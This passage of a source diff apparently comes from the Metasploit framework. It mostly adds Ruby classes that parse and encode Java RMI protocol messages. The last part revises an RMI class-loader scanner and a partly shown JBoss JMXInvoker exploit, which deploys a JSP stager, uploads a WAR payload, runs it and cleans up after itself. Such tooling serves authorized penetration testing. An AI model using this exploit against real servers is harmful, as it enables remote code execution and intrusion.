# @return [String]
|
||||
def decode_address(io)
|
||||
version = read_string(io, length)
|
||||
|
||||
version
|
||||
end
|
||||
|
||||
# Reads the end point port from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_port(io)
|
||||
port = read_int(io)
|
||||
|
||||
port
|
||||
end
|
||||
|
||||
# Encodes the length field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_length
|
||||
[length].pack('n')
|
||||
end
|
||||
|
||||
# Encodes the address field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_address
|
||||
address
|
||||
end
|
||||
|
||||
# Encodes the port field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_port
|
||||
[port].pack('N')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI DbgACK stream. It is an acknowledgement
|
||||
# directed to a server's distributed garbage collector that indicates that remote objects
|
||||
# in a return value from a server have been received by the client.
|
||||
class DgcAck < Element
|
||||
|
||||
# @!attribute stream_id
|
||||
# @return [Fixnum] the input stream id
|
||||
attr_accessor :stream_id
|
||||
# @!attribute unique_identifier
|
||||
# @return [String] the unique identifier
|
||||
attr_accessor :unique_identifier
|
||||
|
||||
private
|
||||
|
||||
# Reads the stream id from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == DGC_ACK_MESSAGE
|
||||
raise ::RuntimeError, 'Failed to decode DgcAck stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
end
|
||||
|
||||
# Reads the unique identifier from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
def decode_unique_identifier(io)
|
||||
unique_identifier = read_string(io, 14)
|
||||
|
||||
unique_identifier
|
||||
end
|
||||
|
||||
# Encodes the stream_id field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_stream_id
|
||||
[stream_id].pack('C')
|
||||
end
|
||||
|
||||
# Encodes the unique_identifier field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_unique_identifier
|
||||
unique_identifier
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,143 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
class Element
|
||||
|
||||
include Rex::Proto::Rmi::Model
|
||||
|
||||
def self.attr_accessor(*vars)
|
||||
@attributes ||= []
|
||||
@attributes.concat vars
|
||||
super(*vars)
|
||||
end
|
||||
|
||||
# Retrieves the element class fields
|
||||
#
|
||||
# @return [Array]
|
||||
def self.attributes
|
||||
@attributes
|
||||
end
|
||||
|
||||
# Creates a Rex::Proto::Rmi::Model::Element with data from the IO.
|
||||
#
|
||||
# @param io [IO] the IO to read data from
|
||||
# @return [Rex::Proto::Rmi::Model::Element]
|
||||
def self.decode(io)
|
||||
elem = self.new
|
||||
elem.decode(io)
|
||||
|
||||
elem
|
||||
end
|
||||
|
||||
def initialize(options = {})
|
||||
self.class.attributes.each do |attr|
|
||||
if options.has_key?(attr)
|
||||
m = (attr.to_s + '=').to_sym
|
||||
self.send(m, options[attr])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Retrieves the element instance fields
|
||||
#
|
||||
# @return [Array]
|
||||
def attributes
|
||||
self.class.attributes
|
||||
end
|
||||
|
||||
# Decodes the Rex::Proto::Rmi::Model::Element from the input.
|
||||
#
|
||||
# @raise [NoMethodError]
|
||||
# @return [Rex::Proto::Rmi::Model::Element]
|
||||
def decode(io)
|
||||
self.class.attributes.each do |attr|
|
||||
dec_method = ("decode_#{attr}").to_sym
|
||||
decoded = self.send(dec_method, io)
|
||||
assign_method = (attr.to_s + '=').to_sym
|
||||
self.send(assign_method, decoded)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Encodes the Rex::Proto::Rmi::Model::Element into an String.
|
||||
#
|
||||
# @raise [NoMethodError]
|
||||
# @return [String]
|
||||
def encode
|
||||
encoded = ''
|
||||
self.class.attributes.each do |attr|
|
||||
m = ("encode_#{attr}").to_sym
|
||||
encoded << self.send(m) if self.send(attr)
|
||||
end
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Reads a byte from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if the byte can't be read from io
|
||||
def read_byte(io)
|
||||
raw = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to read byte' unless raw
|
||||
|
||||
raw.unpack('C')[0]
|
||||
end
|
||||
|
||||
# Reads a two bytes short from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if the short can't be read from io
|
||||
def read_short(io)
|
||||
raw = io.read(2)
|
||||
|
||||
unless raw && raw.length == 2
|
||||
raise ::RuntimeError, 'Failed to read short'
|
||||
end
|
||||
|
||||
raw.unpack('n')[0]
|
||||
end
|
||||
|
||||
# Reads a four bytes int from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if the int can't be read from io
|
||||
def read_int(io)
|
||||
raw = io.read(4)
|
||||
|
||||
unless raw && raw.length == 4
|
||||
raise ::RuntimeError, 'Failed to read short'
|
||||
end
|
||||
|
||||
raw.unpack('N')[0]
|
||||
end
|
||||
|
||||
# Reads an string from an IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @param length [Fixnum] the string length
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if the string can't be read from io
|
||||
def read_string(io, length)
|
||||
raw = io.read(length)
|
||||
|
||||
unless raw && raw.length == length
|
||||
raise ::RuntimeError, 'Failed to read string'
|
||||
end
|
||||
|
||||
raw
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,86 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI output stream header
|
||||
class OutputHeader < Element
|
||||
|
||||
# @!attribute signature
|
||||
# @return [String] the Java RMI header signature
|
||||
attr_accessor :signature
|
||||
# @!attribute version
|
||||
# @return [Fixnum] the Java RMI version
|
||||
attr_accessor :version
|
||||
# @!attribute protocol
|
||||
# @return [Fixnum] the protocol where the the messages are wrapped within
|
||||
attr_accessor :protocol
|
||||
|
||||
private
|
||||
|
||||
# Reads the signature from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode signature
|
||||
def decode_signature(io)
|
||||
signature = read_string(io, 4)
|
||||
unless signature == SIGNATURE
|
||||
raise ::RuntimeError, 'Failed to decode OutputHeader signature'
|
||||
end
|
||||
|
||||
signature
|
||||
end
|
||||
|
||||
# Reads the version from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_version(io)
|
||||
version = read_short(io)
|
||||
|
||||
version
|
||||
end
|
||||
|
||||
# Reads the protocol from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
# @raise [RuntimeError] if fails to decode the protocol
|
||||
def decode_protocol(io)
|
||||
valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL]
|
||||
protocol = read_byte(io)
|
||||
|
||||
unless valid_protocols.include?(protocol)
|
||||
raise ::RuntimeError, 'Failed to decode OutputHeader protocol'
|
||||
end
|
||||
|
||||
protocol
|
||||
end
|
||||
|
||||
# Encodes the signature field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_signature
|
||||
signature
|
||||
end
|
||||
|
||||
# Encodes the version field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_version
|
||||
[version].pack('n')
|
||||
end
|
||||
|
||||
# Encodes the protocol field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_protocol
|
||||
[protocol].pack('C')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,41 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI Ping stream. A Ping is a message for testing
|
||||
# livereness of a remote virtual machine.
|
||||
class Ping < Element
|
||||
|
||||
# @!attribute stream_id
|
||||
# @return [Fixnum] the input stream id
|
||||
attr_accessor :stream_id
|
||||
|
||||
private
|
||||
|
||||
# Reads the stream id from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == PING_MESSAGE
|
||||
raise ::RuntimeError, 'Failed to decode Ping stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
end
|
||||
|
||||
# Encodes the stream_id field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_stream_id
|
||||
[stream_id].pack('C')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,41 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement
|
||||
# for a Ping message.
|
||||
class PingAck < Element
|
||||
|
||||
# @!attribute stream_id
|
||||
# @return [Fixnum] the input stream id
|
||||
attr_accessor :stream_id
|
||||
|
||||
private
|
||||
|
||||
# Reads the stream id from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == PING_ACK
|
||||
raise ::RuntimeError, 'Failed to decode PingAck stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
end
|
||||
|
||||
# Encodes the stream_id field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_stream_id
|
||||
[stream_id].pack('C')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI protocol ack input stream
|
||||
class ProtocolAck < Element
|
||||
|
||||
# @!attribute stream_id
|
||||
# @return [Fixnum] the input stream id
|
||||
attr_accessor :stream_id
|
||||
# @!attribute length
|
||||
# @return [Fixnum] the end point address length
|
||||
attr_accessor :length
|
||||
# @!attribute address
|
||||
# @return [String] the end point address
|
||||
attr_accessor :address
|
||||
# @!attribute port
|
||||
# @return [Fixnum] the end point port
|
||||
attr_accessor :port
|
||||
|
||||
private
|
||||
|
||||
# Reads the stream id from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == PROTOCOL_ACK
|
||||
raise ::RuntimeError, 'Failed to decode ProtocolAck stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
end
|
||||
|
||||
# Reads the end point identifier address length from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_length(io)
|
||||
length = read_short(io)
|
||||
|
||||
length
|
||||
end
|
||||
|
||||
# Reads the end point address from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
def decode_address(io)
|
||||
version = read_string(io, length)
|
||||
|
||||
version
|
||||
end
|
||||
|
||||
# Reads the end point port from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_port(io)
|
||||
port = read_int(io)
|
||||
|
||||
port
|
||||
end
|
||||
|
||||
# Encodes the stream_id field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_stream_id
|
||||
[stream_id].pack('C')
|
||||
end
|
||||
|
||||
# Encodes the length field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_length
|
||||
[length].pack('n')
|
||||
end
|
||||
|
||||
# Encodes the address field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_address
|
||||
address
|
||||
end
|
||||
|
||||
# Encodes the port field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_port
|
||||
[port].pack('N')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,60 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI return data stream
|
||||
class ReturnData < Element
|
||||
|
||||
# @!attribute stream_id
|
||||
# @return [Fixnum] the stream id
|
||||
attr_accessor :stream_id
|
||||
# @!attribute return value
|
||||
# @return [Rex::Java::Serialization::Model::Stream] the serialized return data
|
||||
attr_accessor :return_value
|
||||
|
||||
private
|
||||
|
||||
# Reads the stream id from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode the stream id
|
||||
def decode_stream_id(io)
|
||||
stream_id = read_byte(io)
|
||||
unless stream_id == RETURN_DATA
|
||||
raise ::RuntimeError, 'Failed to decode ReturnData stream id'
|
||||
end
|
||||
|
||||
stream_id
|
||||
end
|
||||
|
||||
# Reads and deserializes the return value from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def decode_return_value(io)
|
||||
return_value = Rex::Java::Serialization::Model::Stream.decode(io)
|
||||
|
||||
return_value
|
||||
end
|
||||
|
||||
# Encodes the stream_id field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_stream_id
|
||||
[stream_id].pack('C')
|
||||
end
|
||||
|
||||
# Encodes the return_value field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_return_value
|
||||
return_value.encode
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,10 +4,11 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/java/serialization'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Java::Rmi::Client
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
@ -33,96 +34,122 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
buf = gen_rmi_loader_packet
|
||||
|
||||
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
|
||||
old_url = "file:./rmidummy.jar"
|
||||
new_url = "file:RMIClassLoaderSecurityTest/" + jar
|
||||
|
||||
# Java strings in serialized data are prefixed with a 2-byte, big endian length
|
||||
# (at least, as long as they are shorter than 65536 bytes)
|
||||
find_me = [old_url.length].pack("n") + old_url
|
||||
|
||||
idx = buf.index(find_me)
|
||||
len = [new_url.length].pack("n")
|
||||
|
||||
# Now replace it with the new url
|
||||
buf[idx, find_me.length] = len + new_url
|
||||
|
||||
@pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
vprint_status("#{peer} - Sending RMI Header...")
|
||||
connect
|
||||
|
||||
begin
|
||||
connect
|
||||
sock.put("\x4a\x52\x4d\x49\0\x02\x4b")
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res =~ /^\x4e..([^\x00]+)\x00\x00/
|
||||
info = $1
|
||||
|
||||
begin
|
||||
# Determine if the instance allows remote class loading
|
||||
connect
|
||||
sock.put(@pkt) rescue nil
|
||||
|
||||
buf = ""
|
||||
1.upto(6) do
|
||||
res = sock.get_once(-1, 5) rescue nil
|
||||
break if not res
|
||||
buf << res
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
if buf =~ /RMI class loader disabled/
|
||||
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
|
||||
elsif buf.length > 0
|
||||
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
|
||||
svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:service => svc,
|
||||
:name => self.name,
|
||||
:info => "Module #{self.fullname} confirmed remote code execution via this RMI service",
|
||||
:refs => self.references
|
||||
)
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError, ::IOError
|
||||
ensure
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
print_error("#{peer} - Filed to negotiate RMI protocol")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
# Determine if the instance allows remote class loading
|
||||
vprint_status("#{peer} - Sending RMI Call...")
|
||||
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
|
||||
jar_url = "file:RMIClassLoaderSecurityTest/" + jar
|
||||
|
||||
send_call(call_data: build_gc_call_data(jar_url))
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
|
||||
return
|
||||
end
|
||||
|
||||
if loader_enabled?(return_data)
|
||||
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
|
||||
svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:service => svc,
|
||||
:name => self.name,
|
||||
:info => "Module #{self.fullname} confirmed remote code execution via this RMI service",
|
||||
:refs => self.references
|
||||
)
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
|
||||
end
|
||||
end
|
||||
|
||||
def gen_rmi_loader_packet
|
||||
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
|
||||
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
|
||||
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
|
||||
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
|
||||
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
|
||||
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
|
||||
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
|
||||
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
|
||||
def loader_enabled?(stream)
|
||||
stream.contents.each do |content|
|
||||
if content.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
!content.class_data[1].contents.include?('RMI class loader disabled')
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def build_gc_call_data(jar_url)
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
||||
block_data.length = block_data.contents.length
|
||||
|
||||
stream.contents << block_data
|
||||
|
||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_array_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
|
||||
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
|
||||
new_array_desc.serial_version = 0x871300b8d02c647e
|
||||
new_array_desc.flags = 2
|
||||
new_array_desc.fields = []
|
||||
new_array_desc.class_annotation = new_array_annotation
|
||||
new_array_desc.super_class = new_array_super
|
||||
|
||||
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array_desc.description = new_array_desc
|
||||
|
||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
||||
new_array.type = 'java.rmi.server.ObjID;'
|
||||
new_array.values = []
|
||||
new_array.array_description = array_desc
|
||||
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
||||
new_class_desc.serial_version = 0xa16544ba26f9c2f4
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.fields = []
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents = [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
|
||||
Rex::Java::Serialization::Model::EndBlockData.new
|
||||
]
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_object.class_desc.description = new_class_desc
|
||||
new_object.class_data = []
|
||||
|
||||
stream.contents << new_object
|
||||
|
||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
res = send_serialized_request('version.bin')
|
||||
res = send_serialized_request('version')
|
||||
if res.nil?
|
||||
vprint_error("Connection timed out")
|
||||
vprint_error('Connection timed out')
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.code != 200
|
||||
vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
|
||||
|
@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/
|
||||
|
||||
if res.body =~ /ServletException/ # Simple check, if we caused an exception.
|
||||
vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
|
||||
vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
|
@ -113,31 +113,29 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
mytarget = target
|
||||
|
||||
if (target.name =~ /Automatic/)
|
||||
if target.name =~ /Automatic/
|
||||
mytarget = auto_target
|
||||
fail_with("Unable to automatically select a target") if not mytarget
|
||||
fail_with('Unable to automatically select a target') unless mytarget
|
||||
print_status("Automatically selected target: \"#{mytarget.name}\"")
|
||||
else
|
||||
print_status("Using manually select target: \"#{mytarget.name}\"")
|
||||
end
|
||||
|
||||
|
||||
# We use a already serialized stager to deploy the final payload
|
||||
regex_stager_app_base = rand_text_alpha(14)
|
||||
regex_stager_jsp_name = rand_text_alpha(14)
|
||||
name_parameter = rand_text_alpha(8)
|
||||
content_parameter = rand_text_alpha(8)
|
||||
stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
|
||||
stager_code = "A" * 810 # 810 is the size of the stager in the serialized request
|
||||
|
||||
replace_values = {
|
||||
'regex_app_base' => regex_stager_app_base,
|
||||
'regex_jsp_name' => regex_stager_jsp_name,
|
||||
stager_code => generate_stager(name_parameter, content_parameter)
|
||||
'jsp_code' => generate_stager(name_parameter, content_parameter)
|
||||
}
|
||||
|
||||
print_status("Deploying stager")
|
||||
send_serialized_request('installstager.bin', replace_values)
|
||||
print_status('Deploying stager')
|
||||
send_serialized_request('installstager', replace_values)
|
||||
print_status("Calling stager: #{stager_uri}")
|
||||
call_uri_mtimes(stager_uri, 5, 'GET')
|
||||
|
||||
|
@ -162,23 +160,21 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
name_parameter => app_base,
|
||||
content_parameter => b64_war
|
||||
}
|
||||
}, 20)
|
||||
})
|
||||
|
||||
payload_uri = "/#{app_base}/#{jsp_name}.jsp"
|
||||
print_status("Calling payload: " + payload_uri)
|
||||
res = call_uri_mtimes(payload_uri,5, 'GET')
|
||||
|
||||
# Remove the payload through stager
|
||||
print_status("Removing payload through stager")
|
||||
print_status('Removing payload through stager')
|
||||
delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
|
||||
res = send_request_cgi(
|
||||
{'uri' => delete_payload_uri,
|
||||
})
|
||||
res = send_request_cgi({'uri' => delete_payload_uri})
|
||||
|
||||
# Remove the stager
|
||||
print_status("Removing stager")
|
||||
send_serialized_request('removestagerfile.bin', replace_values)
|
||||
send_serialized_request('removestagerdirectory.bin', replace_values)
|
||||
print_status('Removing stager')
|
||||
send_serialized_request('removestagerfile', replace_values)
|
||||
send_serialized_request('removestagerdirectory', replace_values)
|
||||
|
||||
handler
|
||||
end
|
||||
|
@ -226,18 +222,39 @@ catch(Exception e) {}
|
|||
%>
|
||||
EOT
|
||||
|
||||
# The script must be exactly 810 characters long, otherwise we might have serialization issues
|
||||
# Therefore we fill the rest wit spaces
|
||||
spaces = " " * (810 - stager_script.length)
|
||||
stager_script << spaces
|
||||
end
|
||||
|
||||
|
||||
def send_serialized_request(file_name , replace_params = {})
|
||||
path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)
|
||||
data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }
|
||||
|
||||
replace_params.each { |key, value| data.gsub!(key, value) }
|
||||
def send_serialized_request(operation , replace_params = {})
|
||||
data = ''
|
||||
case operation
|
||||
when 'version'
|
||||
data = build_get_version.encode
|
||||
when 'osname'
|
||||
data = build_get_os.encode
|
||||
when 'osarch'
|
||||
data = build_get_arch.encode
|
||||
when 'installstager'
|
||||
data = build_install_stager(
|
||||
war_name: replace_params['regex_app_base'],
|
||||
jsp_name: replace_params['regex_jsp_name'],
|
||||
data: replace_params['jsp_code']
|
||||
).encode
|
||||
when 'removestagerfile'
|
||||
data = build_delete_stager_file(
|
||||
dir: "#{replace_params['regex_app_base']}.war",
|
||||
file: replace_params['regex_jsp_name'],
|
||||
extension: '.jsp'
|
||||
).encode
|
||||
when 'removestagerdirectory'
|
||||
data = build_delete_stager_file(
|
||||
dir: './',
|
||||
file: replace_params['regex_app_base'],
|
||||
extension: '.war'
|
||||
).encode
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected operation")
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
|
@ -251,20 +268,19 @@ EOT
|
|||
}, 25)
|
||||
|
||||
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("Failed: Error requesting preserialized request #{file_name}")
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting preserialized request #{operation}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
|
||||
# JBoss might need some time for the deployment. Try 5 times at most and
|
||||
# wait 5 seconds inbetween tries
|
||||
num_attempts.times do |attempt|
|
||||
if (verb == "POST")
|
||||
if verb == "POST"
|
||||
